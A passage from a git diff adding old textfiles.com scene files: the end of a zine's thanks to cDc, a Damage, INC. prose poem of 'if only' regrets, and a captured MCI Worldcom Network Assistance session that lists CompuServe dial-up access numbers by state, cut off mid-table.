Their files are the biggest reason that I +got into this at all. And, I can still vividly remember scanning while reading +the latest cDc issues. ;) So, massive thanks to G. Ratte' and the rest of cDc +for putting out such high quality material throughout the years. It's amazing +how they've been able to play such a prominent role in the scene for so many +years, and still not take themselves too seriously... and keep their sense of +humour, etc. Thanks again for giving our readers a chance to get to know you +and cDc better. And keep sending the cDc PR our way. + +To our readers, make sure you hit www.cultdeadcow.com and check it for all their +cool new stuff. Damn straight you better! diff --git a/textfiles.com/groups/DAMAGEINC/ifonly.txt b/textfiles.com/groups/DAMAGEINC/ifonly.txt new file mode 100644 index 00000000..0c9537d2 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/ifonly.txt @@ -0,0 +1,45 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Poetic Rantings + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +If Only... + +If only I knew. If only I'd done that. If only things were different. If only +I could've done more. If only I'd said that. If only I'd been better. If only +I'd been kinder. If only I'd been gentler. If only I were calmer. If only I +weren't as mean. If only I were different. If only he loved me. If only I +loved him. If only I cared more. If only I weren't indifferent. If only I +weren't lazy. If only I weren't complacent. If only I'd stopped them. If only +I'd spoken out. If only I'd fought back. If only I didn't allow it to happen. +If only I were stronger. If only I had more confidence. If only I had more +money. If only I were greedier. If only I weren't so jaded. If only I weren't +so bitter. If only I had fewer regrets. If only I hadn't made so many +mistakes. If only I didn't worry so much. If only I had charm. If only I had +charisma. If only I had a cool car. If only I had less rage. If only I'd +learned more. If only I listened more. If only I weren't in a hurry. If only +I weren't so fucked up. If only I were more coherent. If only I weren't hated. +If only everyone loved me. If only I weren't so chaotic. If only I knew more. +If only my family was different. If only I were better. If only I were +something. If only things had meaning. If only I were smarter. If only I were +thinner. If only I were taller. If only my eyes were blue. If only I were +beautiful. If only I were more than I am. If only I had a life... + +How many more "if only" statements can you think of? How many consume you? +Do you obsess over it? How many do you live by? Do you live your lives +questioning every move you make and everything that you do and everything that +you are? Do you want to live in conformity? Do you want to constantly question +whether you measure up to expectations of others, or not? Do you want to worry +and fear everything? Do you want to live in the past and regret everything? +Do you want to dream and wish everything were different? Can you not accept +certain things as they are, get over it, move on, and live with it? Do you see +yourself as not being good enough? Stay away from me then... + +Written by Helena3 / Damage, INC. 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All of the information that follows was captured from the +MCI Worldcom Network Assistance system. Everything has been provided, including +the 1-800 numbers and local numbers for each country and NPA that's serviced. +All you have to do is search by network, country or the specific NPA from which +you want to access them. + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +atdt *67,,1 800 848 4480 +CONNECT 2400 + + + 0071TTA + +Host Name: CPS + +User ID: 74,74 +Password: + + + + + + + + +Network Assistance PHN-28 + +If you are using a personal computer and the PC3 communications software, please +enter the following command: + + SET TER PC3 + +for the best display. + +Once the screen is redisplayed, enter a carriage return to display the main +menu. + +Press for more ! + +Access Numbers and Instructions PHN-1 + + 1 Access Numbers & Logon Instructions + 2 Network Announcements + 3 CompuServe Nodes and Locations + +Enter choice !1 + +Access Numbers & Logon Instructions PHN-10 + + 1 United States and Canada + 2 All Other Countries - Specify Country + 3 All Other Countries - Complete Access Number List + +Enter choice !1 + +United States and Canada PHN-40 + + 1 CompuServe Network + 2 Supplemental Networks + +Enter choice !1 + +CompuServe Access (US and Canada) PHN-100 + + 1 Search for Access Numbers + 2 Only 56,000 baud + 3 Only 57,600 ISDN + 4 Only 64,000 - 128,000 ISDN/IP + 5 CompuServe 800 Numbers + 6 Canadian Logon Instructions + 7 List all Numbers + +Enter choice !6 + +Network Assistance PHN-5 + + + +Scroll output? (Y)es or =No: + + + + MCI WORLDCOM + Advanced Networks + Canada - USA Network Service + + + +ACCESS INSTRUCTIONS + +IN CANADA: + +1. Establish a phone connection by dialing one of the MCI Worldcom access + number listed under "List Access Numbers" on the previous menu. +Press for more ! + + + +2. Once the connection has been made, enter: + + + +3. Your screen displays MCI Worldcom's network prompt as seen below. At this + point, enter the host name assigned by your organization, followed by a + , and follow the remainder of their log on instructions. If the + service you wish to reach is on a MCI Worldcom host, the Host Name you + should enter is CIS followed by a after which you will see the User + ID prompt. Enter your User ID and log on as usual. + + Host Name: +Press for more ! + + + + +LOGGING OFF + +1. After logging off your host according to your organization's instructions, + your screen displays the following: + + Host Name: + +2. You enter the following, at which point you will be disconnected from the + MCI Worldcom network: + + OFF +Press for more ! + + + + + +Last page ! + + + + +CompuServe Access (US and Canada) PHN-100 + + 1 Search for Access Numbers + 2 Only 56,000 baud + 3 Only 57,600 ISDN + 4 Only 64,000 - 128,000 ISDN/IP + 5 CompuServe 800 Numbers + 6 Canadian Logon Instructions + 7 List all Numbers + +Enter choice !7 + +List by: PHN-101 + + 1 State/Province + 2 Area Code + +Enter choice !1 + + +Sorting, one moment please... + + +Scroll output? (Y)es or =No:y + + + Domestic CompuServe Access Numbers + +CITY ST PHONE BAUD NET TYPE +---- -- ----- ------------------ --- ---- +Calgary AB 403/294-9120 300-33,600 CPS V34 +Edmonton AB 780/440-2744 300-33,600 CPS V34 +Anchorage AK 907/562-3835 300-33,600 CPS V34 +Fairbanks AK 907/458-8988 300-33,600 CPS V34 +Birmingham AL 205/933-6212 300-33,600 CPS V34 +Dothan AL 334/702-8257 300-33,600 CPS V34 +Florence AL 256/760-8580 300-33,600 CPS V34 +Huntsville AL 256/533-0196 300-33,600 CPS V34 +Mobile AL 334/660-6948 300-33,600 CPS V34 +Mobile AL 334/660-1729 300-57,600 CPS V90 +Montgomery AL 334/270-5845 300-33,600 CPS V34 +Tuscaloosa AL 205/562-0062 300-33,600 CPS V34 +Bentonville AR 501/273-7747 300-33,600 CPS V34 +Fayetteville AR 501/521-3774 300-33,600 CPS V34 +Fayetteville AR 501/527-9321 300-57,600 CPS V90 +Ft. Smith AR 501/785-0047 300-33,600 CPS V34 +Little Rock AR 501/376-8544 300-33,600 CPS V34 +Phoenix AZ 602/468-0285 300-33,600 CPS V34 +Sierra Vista AZ 520/459-5955 300-33,600 CPS V34 +Tucson AZ 520/571-0207 300-33,600 CPS V34 +Yuma AZ 520/539-0019 300-33,600 CPS V34 +Vancouver BC 604/739-8194 300-33,600 CPS V34 +Victoria BC 250/479-9452 300-33,600 CPS V34 +Anaheim CA 714/563-9431 300-33,600 CPS V34 +Bakersfield CA 805/324-4303 300-33,600 CPS V34 +Chico CA 530/897-5900 300-33,600 CPS V34 +Chula Vista CA 619/585-0309 300-33,600 CPS V34 +Encinitas CA 760/753-0235 300-33,600 CPS V34 +Fairfield CA 707/427-5600 300-33,600 CPS V34 +Fresno CA 559/453-1487 300-33,600 CPS V34 +Fresno CA 559/455-2300 300-57,600 CPS V90 +Hayward CA 510/889-6009 300-33,600 CPS V34 +Irvine CA 949/252-1131 300-33,600 CPS V34 +Irvine-ISDN CA 949/261-0583 57,600 CPS V120 +Lancaster CA 805/948-7298 300-33,600 CPS V34 +Lawndale CA 310/370-2831 300-33,600 CPS V34 +Livermore CA 925/606-9460 300-33,600 CPS V34 +Long Beach CA 562/989-7012 300-33,600 CPS V34 +Los Angeles CA 213/624-3730 300-33,600 CPS V34 +Los Angeles CA 213/688-7363 300-57,600 CPS X2/V90 +Modesto CA 209/578-6524 300-33,600 CPS V34 +Monrovia CA 626/303-3869 300-33,600 CPS V34 +Monterey CA 831/648-0139 300-33,600 CPS V34 +N. Hollywood CA 818/752-8045 300-33,600 CPS V34 +N. Hollywood CA 818/755-9438 300-57,600 CPS V90 +Napa CA 707/257-0234 300-33,600 CPS V34 +Oakland CA 510/251-8304 300-33,600 CPS V34 +Oxnard CA 805/985-2514 300-33,600 CPS V34 +Palm Springs CA 760/778-3524 300-33,600 CPS V34 +Pleasant Hill CA 925/682-2055 300-33,600 CPS V34 +Pomona CA 909/865-0553 300-33,600 CPS V34 +Redding CA 530/222-0298 300-33,600 CPS V34 +Riverside CA 909/358-0205 300-33,600 CPS V34 +Sacramento CA 916/568-0241 300-33,600 CPS V34 +Sacramento CA 916/649-3840 300-57,600 CPS V90 +Salinas CA 831/754-1858 300-33,600 CPS V34 +San Bernardino CA 909/882-6646 300-33,600 CPS V34 +San Diego CA 619/467-9508 300-33,600 CPS V34 +San Francisco CA 415/434-1580 300-33,600 CPS V34 +San Francisco CA 415/956-0290 300-57,600 CPS X2/V90 +San Luis Obispo CA 805/544-0137 300-33,600 CPS V34 +San Marcos CA 760/471-5268 300-33,600 CPS V34 +San Mateo CA 650/802-0130 300-33,600 CPS V34 +San Rafael CA 415/444-5200 300-33,600 CPS V34 +San Rafael CA 415/446-7307 300-57,600 CPS V90 +Santa Barbara CA 805/968-8210 300-33,600 CPS V34 +Santa Clara CA 408/980-1044 300-33,600 CPS V34 +Santa Clarita CA 805/297-0546 300-33,600 CPS V34 +Santa Cruz CA 831/462-9666 300-33,600 CPS V34 +Santa Maria CA 805/937-5490 300-33,600 CPS V34 +Santa Monica CA 310/390-4188 300-33,600 CPS V34 +Santa Rosa CA 707/579-1588 300-33,600 CPS V34 +Santa Rosa CA 707/569-7140 300-57,600 CPS V90 +So. Lake Tahoe CA 530/541-0151 300-33,600 CPS V34 +Stockton CA 209/475-6000 300-33,600 CPS V34 +Thousand Oaks CA 805/499-6110 300-33,600 CPS V34 +Vallejo CA 707/645-1534 300-33,600 CPS V34 +Van Nuys CA 818/988-9791 300-33,600 CPS V34 +Van Nuys CA 818/787-9905 300-57,600 CPS V90 +Ventura CA 805/644-7860 300-33,600 CPS V34 +Woodland CA 530/661-9296 300-33,600 CPS V34 +Aspen CO 970/920-4565 300-33,600 CPS V34 +Colorado Sprngs CO 719/522-1049 300-33,600 CPS V34 +Denver CO 303/595-0123 300-33,600 CPS V34 +Dillon CO 970/668-3384 300-33,600 CPS V34 +Durango CO 970/259-3017 300-33,600 CPS V34 +Ft. Collins CO 970/229-0246 300-33,600 CPS V34 +Glenwood Spring CO 970/928-0507 300-33,600 CPS V34 +Grand Junction CO 970/241-5116 300-33,600 CPS V34 +Greeley CO 970/356-6538 300-33,600 CPS V34 +Longmont CO 303/684-9225 300-33,600 CPS V34 +Loveland CO 970/667-7681 300-33,600 CPS V34 +Pueblo CO 719/546-1574 300-33,600 CPS V34 +Steamboat Spngs CO 970/870-0501 300-33,600 CPS V34 +Vail CO 970/949-4614 300-33,600 CPS V34 +Bridgeport CT 203/929-4918 300-33,600 CPS V34 +Danbury CT 203/744-4640 300-33,600 CPS V34 +Deep River CT 860/526-8600 300-33,600 CPS V34 +East Haven CT 203/397-0512 300-33,600 CPS V34 +Hartford CT 860/727-8708 300-33,600 CPS V34 +Lakeville CT 860/435-4020 300-33,600 CPS V34 +New London CT 860/437-5100 300-33,600 CPS V34 +Stafford CT 860/684-8800 300-33,600 CPS V34 +Stamford CT 203/324-1115 300-33,600 CPS V34 +Waterbury CT 203/756-6368 300-33,600 CPS V34 +Westport CT 203/454-7935 300-33,600 CPS V34 +Washington DC 202/547-0103 300-33,600 CPS V34 +Washington DC 202/543-9749 300-57,600 CPS V90 +Rehoboth Beach DE 302/945-5207 300-33,600 CPS V34 +Wilmington DE 302/452-1448 300-33,600 CPS V34 +Cocoa Beach FL 407/633-0149 300-33,600 CPS V34 +Cocoa Beach FL 407/609-9017 300-57,600 CPS V90 +Daytona Beach FL 904/238-5354 300-33,600 CPS V34 +Deerfield Beach FL 954/426-0228 300-33,600 CPS V34 +Ft. Lauderdale FL 954/489-0001 300-33,600 CPS V34 +Ft. Myers FL 941/334-9270 300-33,600 CPS V34 +Ft. Myers FL 941/334-1055 300-57,600 CPS V90 +Gainesville FL 352/371-0661 300-33,600 CPS V34 +Gainesville FL 352/337-0879 300-57,600 CPS V90 +Jacksonville FL 904/730-0046 300-33,600 CPS V34 +Key West FL 305/294-5979 300-33,600 CPS V34 +Kissimmee FL 407/932-0018 300-33,600 CPS V34 +Lakeland FL 941/646-0239 300-33,600 CPS V34 +Miami FL 305/262-9325 300-33,600 CPS V34 +Naples FL 941/566-7015 300-33,600 CPS V34 +Orlando FL 407/896-6122 300-33,600 CPS V34 +Panama City FL 850/763-2907 300-33,600 CPS V34 +Panama City FL 850/763-4089 300-57,600 CPS V90 +Pensacola FL 850/433-1828 300-33,600 CPS V34 +Sarasota FL 941/951-6755 300-33,600 CPS V34 +St. Petersburg FL 727/896-8007 300-33,600 CPS V34 +Tallahassee FL 850/422-9604 300-33,600 CPS V34 +Tampa FL 813/229-3200 300-33,600 CPS V34 +Tampa FL 813/204-9043 300-57,600 CPS V90 +Vero Beach FL 561/567-1588 300-33,600 CPS V34 +West Palm Beach FL 561/624-7451 300-33,600 CPS V34 +Winter Haven FL 941/291-4038 300-33,600 CPS V34 +Albany GA 912/435-1540 300-33,600 CPS V34 +Albany GA 912/430-0384 300-57,600 CPS V90 +Athens GA 706/353-6120 300-33,600 CPS V34 +Atlanta GA 404/841-0578 300-33,600 CPS V34 +Atlanta GA 404/261-2944 56,000 CPS X2 +Augusta GA 706/722-3361 300-33,600 CPS V34 +Brunswick GA 912/265-0527 300-33,600 CPS V34 +Columbus GA 706/321-8805 300-33,600 CPS V34 +Macon GA 912/464-0860 300-57,600 CPS V90 +Savannah GA 912/353-8559 300-33,600 CPS V34 +Thomasville GA 912/226-6822 300-33,600 CPS V34 +Warner Robins GA 912/922-2179 300-33,600 CPS V34 +Hilo HI 808/934-0406 300-33,600 CPS V34 +Honolulu HI 808/528-0430 300-33,600 CPS V34 +Lihue HI 808/246-2651 300-33,600 CPS V34 +Maui HI 808/877-6041 300-33,600 CPS V34 +Cedar Rapids IA 319/362-4075 300-33,600 CPS V34 +Davenport IA 319/322-6898 300-33,600 CPS V34 +Des Moines IA 515/276-7231 300-33,600 CPS V34 +Iowa City IA 319/337-9844 300-33,600 CPS V34 +Sioux City IA 712/258-8432 300-33,600 CPS V34 +Boise ID 208/386-9712 300-33,600 CPS V34 +Ketchum ID 208/788-3433 300-33,600 CPS V34 +Pocatello ID 208/232-0123 300-33,600 CPS V34 +Aurora IL 630/801-9468 300-33,600 CPS V34 +Bloomington IL 309/829-0156 300-33,600 CPS V34 +Champaign IL 217/356-1082 300-33,600 CPS V34 +Chicago IL 312/201-0711 300-33,600 CPS V34 +Chicago IL 773/693-4100 300-33,600 CPS V34 +Chicago IL 312/895-7373 300-57,600 CPS X2/V90 +Decatur IL 217/422-3026 300-33,600 CPS V34 +Deerfield IL 847/267-9120 300-33,600 CPS V34 +Deerfield IL 847/317-1548 300-57,600 CPS V90 +Dekalb IL 815/748-2705 300-33,600 CPS V34 +East St. Louis IL 618/874-4311 300-33,600 CPS V34 +Evanston IL 847/556-7373 300-57,600 CPS X2/V90 +Evanston IL 847/733-2959 300-57,600 CPS V90 +Joliet IL 815/723-0167 300-33,600 CPS V34 +Joliet IL 815/723-2553 300-57,600 CPS V90 +Kankakee IL 815/939-0129 300-33,600 CPS V34 +Libertyville IL 847/549-0309 300-33,600 CPS V34 +Libertyville IL 847/549-6403 300-57,600 CPS V90 +Lombard IL 630/261-0040 300-33,600 CPS V34 +Peoria IL 309/688-9500 300-33,600 CPS V34 +Rockford IL 815/226-9871 300-33,600 CPS V34 +Schaumburg IL 847/781-6962 300-33,600 CPS V34 +Springfield IL 217/789-9412 300-33,600 CPS V34 +Bloomington IN 812/330-1424 300-33,600 CPS V34 +Columbus IN 812/348-7000 300-33,600 CPS V34 +Elkhart IN 219/522-6127 300-33,600 CPS V34 +Evansville IN 812/426-7112 300-33,600 CPS V34 +Ft. Wayne IN 219/447-9258 300-33,600 CPS V34 +Gary IN 219/981-5200 300-33,600 CPS V34 +Indianapolis IN 317/638-8129 300-33,600 CPS V34 +Kokomo IN 765/864-6500 300-33,600 CPS V34 +Lafayette IN 765/476-5300 300-33,600 CPS V34 +Muncie IN 765/281-0095 300-33,600 CPS V34 +Richmond IN 765/935-3590 300-33,600 CPS V34 +South Bend IN 219/271-0016 300-33,600 CPS V34 +Terre Haute IN 812/235-1800 300-33,600 CPS V34 +Warsaw IN 219/267-1463 300-33,600 CPS V34 +Lawrence KS 785/749-2900 300-33,600 CPS V34 +Manhattan KS 785/776-9665 300-33,600 CPS V34 +Topeka KS 785/232-1317 300-33,600 CPS V34 +Wichita KS 316/269-3625 300-33,600 CPS V34 +Lexington KY 606/254-6557 300-33,600 CPS V34 +Louisville KY 502/568-6250 300-33,600 CPS V34 +Owensboro KY 502/691-0011 300-33,600 CPS V34 +Alexandria LA 318/445-0020 300-33,600 CPS V34 +Baton Rouge LA 225/383-9998 300-33,600 CPS V34 +Lafayette LA 318/234-0416 300-33,600 CPS V34 +Lake Charles LA 318/433-6737 300-33,600 CPS V34 +Monroe LA 318/322-0412 300-33,600 CPS V34 +New Orleans LA 504/585-1120 300-33,600 CPS V34 +Shreveport LA 318/861-0158 300-33,600 CPS V34 +Shreveport LA 318/676-0860 300-57,600 CPS V90 +Amherst MA 413/549-6024 300-33,600 CPS V34 +Billerica MA 978/667-1765 300-33,600 CPS V34 +Boston MA 617/426-9295 300-33,600 CPS V34 +Boston-ISDN MA 617/338-0093 57,600 CPS V120 +Brockton MA 508/588-3585 300-33,600 CPS V34 +Cambridge MA 617/661-7071 300-33,600 CPS V34 +Concord MA 978/371-0354 300-33,600 CPS V34 +Fall River MA 508/674-1377 300-33,600 CPS V34 +Framingham MA 508/628-9439 300-33,600 CPS V34 +Gardner MA 978/630-1002 300-33,600 CPS V34 +Groton MA 978/448-8616 300-33,600 CPS V34 +Hudson MA 978/568-8019 300-33,600 CPS V34 +Lawrence MA 978/725-0155 300-33,600 CPS V34 +Maynard MA 978/897-4746 300-33,600 CPS V34 +Medfield MA 508/359-7603 300-33,600 CPS V34 +Medway MA 508/533-2722 300-33,600 CPS V34 +Mendon MA 508/478-0653 300-33,600 CPS V34 +Newburyport MA 978/499-0062 300-33,600 CPS V34 +Pittsfield MA 413/442-2008 300-33,600 CPS V34 +Springfield MA 413/747-4460 300-33,600 CPS V34 +Westborough MA 508/366-2617 300-33,600 CPS V34 +Worcester MA 508/849-1000 300-33,600 CPS V34 +Winnipeg MB 204/489-9747 300-33,600 CPS V34 +Annapolis MD 410/266-9547 300-33,600 CPS V34 +Annapolis MD 410/224-8487 300-57,600 CPS V90 +Baltimore MD 410/494-8403 300-33,600 CPS V34 +Frederick MD 301/682-3260 300-33,600 CPS V34 +Hyattsville MD 301/403-1687 300-33,600 CPS V34 +Salisbury MD 410/749-2484 300-33,600 CPS V34 +Bangor ME 207/941-9904 300-33,600 CPS V34 +Portland ME 207/775-6249 300-33,600 CPS V34 +Ann Arbor MI 734/761-9300 300-33,600 CPS V34 +Benton Harbor MI 616/927-0003 300-33,600 CPS V34 +Detroit MI 313/535-1466 300-33,600 CPS V34 +Flint MI 810/238-8555 300-33,600 CPS V34 +Grand Rapids MI 616/956-0075 300-33,600 CPS V34 +Holland MI 616/355-5600 300-33,600 CPS V34 +Jackson MI 517/780-9025 300-33,600 CPS V34 +Kalamazoo MI 616/373-3750 300-33,600 CPS V34 +Kalamazoo MI 616/345-1298 300-57,600 CPS V90 +Lansing MI 517/332-7141 300-33,600 CPS V34 +Mt. Clemens MI 810/468-1301 300-33,600 CPS V34 +Mt. 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CPS V34 +Burlington NC 336/584-5823 300-33,600 CPS V34 +Chapel Hill NC 919/929-0443 300-33,600 CPS V34 +Charlotte NC 704/358-8991 300-33,600 CPS V34 +Durham NC 919/309-7100 300-33,600 CPS V34 +Fayetteville NC 910/860-8600 300-33,600 CPS V34 +Fayetteville NC 910/223-1508 300-57,600 CPS V90 +Goldsboro NC 919/751-3200 300-33,600 CPS V34 +Greensboro NC 336/292-3461 300-33,600 CPS V34 +Raleigh NC 919/664-5848 300-33,600 CPS V34 +Raleigh NC 919/664-8262 300-57,600 CPS V90 +Wilmington NC 910/392-5543 300-33,600 CPS V34 +Winston-Salem NC 336/724-9748 300-33,600 CPS V34 +Fargo ND 701/241-4457 300-33,600 CPS V34 +Lincoln NE 402/474-2316 300-33,600 CPS V34 +Omaha NE 402/343-2042 300-33,600 CPS V34 +Concord NH 603/225-7322 300-33,600 CPS V34 +Manchester NH 603/666-4266 300-33,600 CPS V34 +Nashua NH 603/886-6080 300-33,600 CPS V34 +Atlantic City NJ 609/641-1460 300-33,600 CPS V34 +Berlin NJ 609/753-4700 300-33,600 CPS V34 +Bound Brook NJ 732/764-0925 300-33,600 CPS V34 +Caldwell NJ 973/276-8088 300-33,600 CPS V34 +Cherry Hill NJ 609/667-8865 300-33,600 CPS V34 +Eatontown NJ 732/935-0137 300-33,600 CPS V34 +Franklin NJ 973/827-0636 300-33,600 CPS V34 +Hackettstown NJ 908/852-0303 300-33,600 CPS V34 +Millville NJ 609/327-2898 300-33,600 CPS V34 +Morristown NJ 973/984-5113 300-33,600 CPS V34 +Newark NJ 973/623-5666 300-33,600 CPS V34 +Princeton NJ 609/497-2384 300-33,600 CPS V34 +Ridgewood NJ 201/251-7865 300-33,600 CPS V34 +Rochelle Park NJ 201/712-0479 300-33,600 CPS V34 +Toms River NJ 732/914-1954 300-33,600 CPS V34 +Trenton NJ 609/530-1517 300-33,600 CPS V34 +Wayne NJ 973/872-9576 300-33,600 CPS V34 +Woodbridge NJ 732/632-9384 300-33,600 CPS V34 +Albuquerque NM 505/268-8748 300-33,600 CPS V34 +Farmington NM 505/326-5338 300-33,600 CPS V34 +Las Cruces NM 505/541-4549 300-33,600 CPS V34 +Los Alamos NM 505/662-6971 300-33,600 CPS V34 +Santa Fe NM 505/995-0068 300-33,600 CPS V34 +Halifax NS 902/457-0669 300-33,600 CPS V34 +Las Vegas NV 702/796-4877 300-33,600 CPS V34 +Reno NV 775/322-8968 300-33,600 CPS V34 +Albany NY 518/464-5457 300-33,600 CPS V34 +Binghamton NY 607/773-3111 300-33,600 CPS V34 +Buffalo NY 716/633-0562 300-33,600 CPS V34 +Ithaca NY 607/257-4264 300-33,600 CPS V34 +Jericho NY 516/932-3198 300-33,600 CPS V34 +Lake Ronkonkoma NY 516/981-0029 300-33,600 CPS V34 +Limestone NY 716/925-7351 300-33,600 CPS V34 +Middletown NY 914/343-4646 300-33,600 CPS V34 +New York NY 212/766-2080 300-33,600 CPS V34 +New York NY 718/210-0599 300-33,600 CPS V34 +New York NY 212/812-7373 300-57,600 CPS X2/V90 +Niagara Falls NY 716/278-3600 300-33,600 CPS V34 +Poughkeepsie NY 914/485-1203 300-33,600 CPS V34 +Rochester NY 716/254-1390 300-33,600 CPS V34 +Syracuse NY 315/451-8093 300-33,600 CPS V34 +Tonawanda NY 716/694-5551 300-33,600 CPS V34 +Utica NY 315/737-0114 300-33,600 CPS V34 +White Plains NY 914/761-9780 300-33,600 CPS V34 +Williston Park NY 516/222-8050 300-33,600 CPS V34 +Akron OH 330/836-0679 300-33,600 CPS V34 +Athens OH 740/594-7800 300-33,600 CPS V34 +Cambridge OH 740/439-3032 300-33,600 CPS V34 +Canton OH 330/454-1155 300-33,600 CPS V34 +Cincinnati OH 513/771-0592 300-57,600 CPS X2/V90 +Cleveland OH 216/781-7598 300-33,600 CPS V34 +Dayton OH 937/224-4576 300-57,600 CPS X2/V90 +Delaware OH 740/363-9395 300-33,600 CPS V34 +Dublin OH 614/764-2957 300-33,600 CPS V34 +Dublin-ISDN OH 614/717-9700 57,600 CPS V120 +Findlay OH 419/420-7200 300-33,600 CPS V34 +Lancaster OH 740/689-4400 300-33,600 CPS V34 +Marietta OH 740/376-5700 300-33,600 CPS V34 +Marysville OH 937/642-3940 300-33,600 CPS V34 +Newark OH 740/349-1000 300-33,600 CPS V34 +Ravenna OH 330/677-7780 300-33,600 CPS V34 +Toledo OH 419/242-5706 300-33,600 CPS V34 +WATS 800 OH 800/331-7166 9600-33,600 CPS V34 +WATS ISDN OH 800/473-6282 57,600 CPS V120 +WATS ISDN/IP OH 800/333-4474 64,000-128,000 CPS ISDN/IP +WATS X2 OH 800/572-1959 300-56,000 CPS X2/V90 +Youngstown OH 330/965-6800 300-33,600 CPS V34 +Bartlesville OK 918/336-5283 300-33,600 CPS V34 +Lawton OK 580/355-8118 300-33,600 CPS V34 +Oklahoma City OK 405/942-7278 300-33,600 CPS V34 +Stillwater OK 405/742-4600 300-33,600 CPS V34 +Tulsa OK 918/621-1036 300-33,600 CPS V34 +Hamilton ON 905/529-4601 300-33,600 CPS V34 +Kitchener ON 519/741-1100 300-33,600 CPS V34 +London ON 519/663-1880 300-33,600 CPS V34 +Ottawa ON 613/237-0400 300-33,600 CPS V34 +Toronto ON 416/367-8122 300-33,600 CPS V34 +WATS/Canada ON 800/843-0378 300-33,600 CPS V34 +Albany OR 541/924-9486 300-33,600 CPS V34 +Eugene OR 541/689-6031 300-33,600 CPS V34 +Medford OR 541/857-2917 300-33,600 CPS V34 +Portland OR 503/274-6400 300-33,600 CPS V34 +Salem OR 503/362-0358 300-33,600 CPS V34 +Allentown PA 610/530-4032 300-33,600 CPS V34 +Butler PA 724/285-2194 300-33,600 CPS V34 +Carlisle PA 717/243-6477 300-33,600 CPS V34 +Erie PA 814/864-5184 300-33,600 CPS V34 +Harrisburg PA 717/541-0210 300-33,600 CPS V34 +Lancaster PA 717/581-9500 300-33,600 CPS V34 +Norristown PA 610/277-1301 300-33,600 CPS V34 +Philadelphia PA 215/561-1634 300-33,600 CPS V34 +Pittsburgh PA 412/471-6417 300-33,600 CPS V34 +Reading PA 610/374-4450 300-33,600 CPS V34 +Scranton PA 570/961-2759 300-33,600 CPS V34 +Somerset PA 814/443-1477 300-33,600 CPS V34 +State College PA 814/231-0252 300-33,600 CPS V34 +Wilkes Barre PA 570/822-3315 300-33,600 CPS V34 +York PA 717/755-5060 300-33,600 CPS V34 +San Juan PR 787/722-0995 300-33,600 CPS V34 +Montreal QC 514/879-5826 300-33,600 CPS V34 +Quebec City QC 418/649-7082 300-33,600 CPS V34 +Providence RI 401/435-1100 300-33,600 CPS V34 +Charleston SC 843/763-3423 300-33,600 CPS V34 +Charleston SC 843/722-0342 300-57,600 CPS V90 +Columbia SC 803/776-2229 300-33,600 CPS V34 +Greenville SC 864/676-9228 300-33,600 CPS V34 +Hilton Head SC 843/842-7007 300-33,600 CPS V34 +Myrtle Beach SC 843/448-4350 300-33,600 CPS V34 +Spartanburg SC 864/585-0337 300-33,600 CPS V34 +Rapid City SD 605/348-1664 300-33,600 CPS V34 +Regina SK 306/352-7168 300-33,600 CPS V34 +Saskatoon SK 306/242-4660 300-33,600 CPS V34 +Chattanooga TN 423/892-7064 300-33,600 CPS V34 +Clarksville TN 931/647-2859 300-33,600 CPS V34 +Johnson City TN 423/434-0590 300-33,600 CPS V34 +Kingsport TN 423/239-0052 300-33,600 CPS V34 +Knoxville TN 423/558-8180 300-33,600 CPS V34 +Memphis TN 901/454-6851 300-33,600 CPS V34 +Nashville TN 615/367-0014 300-33,600 CPS V34 +Abilene TX 915/698-9650 300-33,600 CPS V34 +Amarillo TX 806/345-2782 300-33,600 CPS V34 +Amarillo TX 806/324-4021 300-57,600 CPS V90 +Austin TX 512/326-1155 300-33,600 CPS V34 +Beaumont TX 409/835-0397 300-33,600 CPS V34 +Brownsville TX 956/233-1241 300-33,600 CPS V34 +College Station TX 409/696-4488 300-33,600 CPS V34 +Conroe TX 409/756-8219 300-33,600 CPS V34 +Corpus Christi TX 512/887-2891 300-33,600 CPS V34 +Corpus Christi TX 512/693-9011 300-57,600 CPS V90 +Dallas TX 214/720-9183 300-33,600 CPS V34 +Dallas-ISDN TX 214/953-1152 57,600 CPS V120 +Denton TX 940/484-0037 300-33,600 CPS V34 +Edinburg TX 956/928-1222 300-33,600 CPS V34 +El Paso TX 915/771-9669 300-33,600 CPS V34 +Ft. Worth TX 817/685-2737 300-33,600 CPS V34 +Galveston TX 409/766-1133 300-33,600 CPS V34 +Houston TX 713/650-5143 300-33,600 CPS V34 +Houston TX 713/970-4250 56,000 CPS X2 +Houston-ISDN TX 713/718-9541 57,600 CPS V120 +Killeen TX 254/690-6702 300-33,600 CPS V34 +Laredo TX 956/725-9163 300-33,600 CPS V34 +Longview TX 903/753-0596 300-33,600 CPS V34 +Lubbock TX 806/797-0479 300-33,600 CPS V34 +Lubbock TX 806/472-1091 300-57,600 CPS V90 +Lufkin TX 409/633-0001 300-33,600 CPS V34 +Midland TX 915/563-0009 300-33,600 CPS V34 +San Angelo TX 915/942-6680 300-33,600 CPS V34 +San Antonio TX 210/736-8645 300-33,600 CPS V34 +Texarkana TX 903/832-1066 300-33,600 CPS V34 +Tyler TX 903/509-0680 300-33,600 CPS V34 +Waco TX 254/751-9590 300-33,600 CPS V34 +Kaysville UT 801/544-3791 300-33,600 CPS V34 +Park City UT 435/649-0121 300-33,600 CPS V34 +Provo UT 801/375-1748 300-33,600 CPS V34 +Salt Lake City UT 801/521-9777 300-33,600 CPS V34 +Charlottesville VA 804/295-2846 300-33,600 CPS V34 +Fairfax VA 703/591-0461 300-33,600 CPS V34 +Fairfax-ISDN VA 703/359-3916 57,600 CPS V120 +Fredericksburg VA 540/374-5115 300-33,600 CPS V34 +Fredericksburg VA 540/368-0021 300-57,600 CPS V90 +Lynchburg VA 804/847-2501 300-33,600 CPS V34 +Manassas VA 703/335-1259 300-33,600 CPS V34 +Norfolk VA 757/855-6499 300-33,600 CPS V34 +Purcellville VA 540/338-6900 300-33,600 CPS V34 +Radford VA 540/633-6000 300-33,600 CPS V34 +Reston VA 703/934-2267 300-33,600 CPS V34 +Richmond VA 804/287-8566 300-33,600 CPS V34 +Roanoke VA 540/362-1126 300-33,600 CPS V34 +Staunton VA 